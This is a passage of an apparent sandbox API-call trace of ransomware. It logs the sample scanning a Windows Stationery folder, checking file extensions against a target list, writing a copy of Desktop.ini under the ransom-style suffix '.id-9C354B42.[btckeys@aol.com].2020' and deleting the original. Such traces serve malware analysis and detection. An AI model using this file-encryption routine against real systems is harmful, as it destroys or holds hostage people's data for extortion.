lpString2=".jpg") returned -1 [0076.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0076.362] lstrlenW (lpString=".jpg") returned 4 [0076.362] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0076.362] lstrcmpiW (lpString1=".gif", lpString2=".2020") returned 1 [0076.362] lstrlenW (lpString="Cave_Drawings.gif") returned 17 [0076.362] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0076.362] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=4587) returned 1 [0076.362] CloseHandle (hObject=0x1e8) returned 1 [0076.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif")) returned 0x20 [0076.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0076.362] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0076.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0076.363] lstrlenW (lpString=".doc") returned 4 [0076.363] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0076.363] lstrlenW (lpString=".docx") returned 5 [0076.363] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0076.363] lstrlenW (lpString=".pdf") returned 4 [0076.363] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0076.363] lstrlenW (lpString=".xls") returned 4 [0076.363] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0076.363] lstrlenW (lpString=".xlsx") returned 5 [0076.363] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0076.363] lstrlenW (lpString=".ppt") returned 4 [0076.363] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0076.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0076.363] lstrlenW (lpString=".zip") returned 4 [0076.363] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0076.363] lstrlenW (lpString=".rar") returned 4 [0076.363] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0076.363] lstrlenW (lpString=".bz2") returned 4 [0076.363] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0076.363] lstrlenW (lpString=".7z") returned 3 [0076.363] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0076.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0076.363] lstrlenW (lpString=".dbf") returned 4 [0076.363] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0076.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0076.363] lstrlenW (lpString=".1cd") returned 4 [0076.363] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0076.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0076.363] lstrlenW (lpString=".jpg") returned 4 [0076.363] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0076.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0076.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0076.364] lstrlenW (lpString=".doc") returned 4 [0076.364] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0076.364] lstrlenW (lpString=".docx") returned 5 [0076.364] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0076.364] lstrlenW (lpString=".pdf") returned 4 [0076.364] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0076.364] lstrlenW (lpString=".xls") returned 4 [0076.364] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0076.364] lstrlenW (lpString=".xlsx") returned 5 [0076.364] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0076.364] lstrlenW (lpString=".ppt") returned 4 [0076.364] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0076.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0076.364] lstrlenW (lpString=".zip") returned 4 [0076.364] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0076.364] lstrlenW (lpString=".rar") returned 4 [0076.364] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0076.364] lstrlenW (lpString=".bz2") returned 4 [0076.364] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0076.364] lstrlenW (lpString=".7z") returned 3 [0076.364] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0076.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0076.364] lstrlenW (lpString=".dbf") returned 4 [0076.364] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0076.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0076.364] lstrlenW (lpString=".1cd") returned 4 [0076.364] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0076.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0076.364] lstrlenW (lpString=".jpg") returned 4 [0076.364] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0076.365] lstrcmpiW (lpString1=".gif", lpString2=".2020") returned 1 [0076.365] lstrlenW (lpString="Connectivity.gif") returned 16 [0076.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0076.365] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=2319) returned 1 [0076.365] CloseHandle (hObject=0x1e8) returned 1 [0076.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif")) returned 0x20 [0076.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0076.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0076.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0076.366] lstrlenW (lpString=".doc") returned 4 [0076.366] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0076.366] lstrlenW (lpString=".docx") returned 5 [0076.366] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0076.366] lstrlenW (lpString=".pdf") returned 4 [0076.366] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0076.366] lstrlenW (lpString=".xls") returned 4 [0076.366] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0076.366] lstrlenW (lpString=".xlsx") returned 5 [0076.366] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0076.366] lstrlenW (lpString=".ppt") returned 4 [0076.366] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0076.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0076.366] lstrlenW (lpString=".zip") returned 4 [0076.366] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0076.366] lstrlenW (lpString=".rar") returned 4 [0076.366] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0076.366] lstrlenW (lpString=".bz2") returned 4 [0076.366] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0076.366] lstrlenW (lpString=".7z") returned 3 [0076.366] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0076.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0076.366] lstrlenW (lpString=".dbf") returned 4 [0076.366] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0076.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0076.367] lstrlenW (lpString=".1cd") returned 4 [0076.367] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0076.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0076.367] lstrlenW (lpString=".jpg") returned 4 [0076.367] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0076.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0076.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0076.367] lstrlenW (lpString=".doc") returned 4 [0076.367] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0076.367] lstrlenW (lpString=".docx") returned 5 [0076.367] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0076.367] lstrlenW (lpString=".pdf") returned 4 [0076.367] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0076.367] lstrlenW (lpString=".xls") returned 4 [0076.367] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0076.367] lstrlenW (lpString=".xlsx") returned 5 [0076.367] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0076.367] lstrlenW (lpString=".ppt") returned 4 [0076.367] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0076.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0076.367] lstrlenW (lpString=".zip") returned 4 [0076.367] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0076.367] lstrlenW (lpString=".rar") returned 4 [0076.367] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0076.367] lstrlenW (lpString=".bz2") returned 4 [0076.367] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0076.368] lstrlenW (lpString=".7z") returned 3 [0076.368] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0076.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0076.368] lstrlenW (lpString=".dbf") returned 4 [0076.368] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0076.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0076.368] lstrlenW (lpString=".1cd") returned 4 [0076.368] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0076.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0076.368] lstrlenW (lpString=".jpg") returned 4 [0076.368] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0076.368] lstrcmpiW (lpString1=".ini", lpString2=".2020") returned 1 [0076.368] lstrlenW (lpString="Desktop.ini") returned 11 [0076.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0076.369] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=645) returned 1 [0076.369] CloseHandle (hObject=0x1e8) returned 1 [0076.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0076.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0076.369] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0076.369] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0076.369] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0076.369] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0076.370] GetLastError () returned 0x0 [0076.370] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x285, lpOverlapped=0x0) returned 1 [0076.374] WriteFile (in: hFile=0x198, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x290, lpOverlapped=0x0) returned 1 [0076.376] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0076.376] WriteFile (in: hFile=0x198, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xea, lpOverlapped=0x0) returned 1 [0076.376] SetEndOfFile (hFile=0x198) returned 1 [0076.376] CloseHandle (hObject=0x198) returned 1 [0076.376] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0076.376] SetEndOfFile (hFile=0x1e8) returned 1 [0076.377] CloseHandle (hObject=0x1e8) returned 1 [0076.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x26) returned 1 [0076.378] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0076.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0076.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0076.378] lstrlenW (lpString=".doc") returned 4 [0076.378] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0076.378] lstrlenW (lpString=".docx") returned 5 [0076.378] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0076.378] lstrlenW (lpString=".pdf") returned 4 [0076.378] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0076.378] lstrlenW (lpString=".xls") returned 4 [0076.378] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0076.378] lstrlenW (lpString=".xlsx") returned 5 [0076.378] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0076.379] lstrlenW (lpString=".ppt") returned 4 [0076.379] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0076.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0076.379] lstrlenW (lpString=".zip") returned 4 [0076.379] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0076.379] lstrlenW (lpString=".rar") returned 4 [0076.379] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0076.379] lstrlenW (lpString=".bz2") returned 4 [0076.379] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0076.379] lstrlenW (lpString=".7z") returned 3 [0076.379] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0076.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0076.379] lstrlenW (lpString=".dbf") returned 4 [0076.379] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0076.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0076.379] lstrlenW (lpString=".1cd") returned 4 [0076.379] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0076.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0076.379] lstrlenW (lpString=".jpg") returned 4 [0076.379] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0076.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0076.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0076.379] lstrlenW (lpString=".doc") returned 4 [0076.379] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0076.379] lstrlenW (lpString=".docx") returned 5 [0076.379] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0076.380] lstrlenW (lpString=".pdf") returned 4 [0076.380] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0076.380] lstrlenW (lpString=".xls") returned 4 [0076.380] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0076.380] lstrlenW (lpString=".xlsx") returned 5 [0076.380] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0076.380] lstrlenW (lpString=".ppt") returned 4 [0076.380] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0076.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0076.380] lstrlenW (lpString=".zip") returned 4 [0076.380] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0076.380] lstrlenW (lpString=".rar") returned 4 [0076.380] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0076.380] lstrlenW (lpString=".bz2") returned 4 [0076.380] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0076.380] lstrlenW (lpString=".7z") returned 3 [0076.380] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0076.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0076.380] lstrlenW (lpString=".dbf") returned 4 [0076.380] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0076.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0076.380] lstrlenW (lpString=".1cd") returned 4 [0076.380] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0076.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0076.380] lstrlenW (lpString=".jpg") returned 4 [0076.380] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0076.381] lstrcmpiW (lpString1=".emf", lpString2=".2020") returned 1 [0076.381] lstrlenW (lpString="Dotted_Lines.emf") returned 16 [0076.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0076.381] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=3792) returned 1 [0076.381] CloseHandle (hObject=0x1e8) returned 1 [0076.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf")) returned 0x20 [0076.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0076.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0076.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0076.382] lstrlenW (lpString=".doc") returned 4 [0076.382] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0076.382] lstrlenW (lpString=".docx") returned 5 [0076.382] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0076.382] lstrlenW (lpString=".pdf") returned 4 [0076.382] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0076.382] lstrlenW (lpString=".xls") returned 4 [0076.382] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0076.382] lstrlenW (lpString=".xlsx") returned 5 [0076.382] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0076.382] lstrlenW (lpString=".ppt") returned 4 [0076.382] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0076.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0076.382] lstrlenW (lpString=".zip") returned 4 [0076.382] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0076.382] lstrlenW (lpString=".rar") returned 4 [0076.382] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0076.382] lstrlenW (lpString=".bz2") returned 4 [0076.383] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0076.383] lstrlenW (lpString=".7z") returned 3 [0076.383] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0076.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0076.383] lstrlenW (lpString=".dbf") returned 4 [0076.383] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0076.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0076.383] lstrlenW (lpString=".1cd") returned 4 [0076.383] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0076.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0076.383] lstrlenW (lpString=".jpg") returned 4 [0076.383] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0076.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0076.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0076.383] lstrlenW (lpString=".doc") returned 4 [0076.383] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0076.383] lstrlenW (lpString=".docx") returned 5 [0076.383] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0076.383] lstrlenW (lpString=".pdf") returned 4 [0076.383] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0076.383] lstrlenW (lpString=".xls") returned 4 [0076.383] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0076.383] lstrlenW (lpString=".xlsx") returned 5 [0076.383] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0076.383] lstrlenW (lpString=".ppt") returned 4 [0076.383] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0076.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0076.383] lstrlenW (lpString=".zip") returned 4 [0076.384] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0076.384] lstrlenW (lpString=".rar") returned 4 [0076.384] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0076.384] lstrlenW (lpString=".bz2") returned 4 [0076.384] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0076.384] lstrlenW (lpString=".7z") returned 3 [0076.384] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0076.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0076.384] lstrlenW (lpString=".dbf") returned 4 [0076.384] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0076.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0076.384] lstrlenW (lpString=".1cd") returned 4 [0076.384] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0076.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0076.384] lstrlenW (lpString=".jpg") returned 4 [0076.384] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0076.384] lstrcmpiW (lpString1=".htm", lpString2=".2020") returned 1 [0076.384] lstrlenW (lpString="Garden.htm") returned 10 [0076.384] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 